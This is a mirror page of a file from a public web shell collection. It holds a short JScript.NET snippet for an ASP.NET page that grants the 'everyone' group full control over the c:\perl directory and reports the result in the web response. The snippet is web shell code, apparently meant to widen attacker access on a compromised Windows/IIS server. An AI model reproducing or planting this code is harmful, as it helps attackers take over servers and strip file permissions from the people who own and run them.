mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 04:41:28 +00:00
17 lines
1.1 KiB
Plaintext
17 lines
1.1 KiB
Plaintext
try
|
|
{
|
|
|
|
var strPath:String = "c:\\perl", strUser:String = "everyone";
|
|
var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);
|
|
|
|
var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();
|
|
|
|
dirsecurity.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(strUser,
|
|
System.Security.AccessControl.FileSystemRights.FullControl,
|
|
System.Security.AccessControl.AccessControlType.Allow));
|
|
|
|
dirinfo.SetAccessControl(dirsecurity);
|
|
Response.Write(strPath+"\tok");
|
|
|
|
}catch(x){Response.Write(x.Message);}
|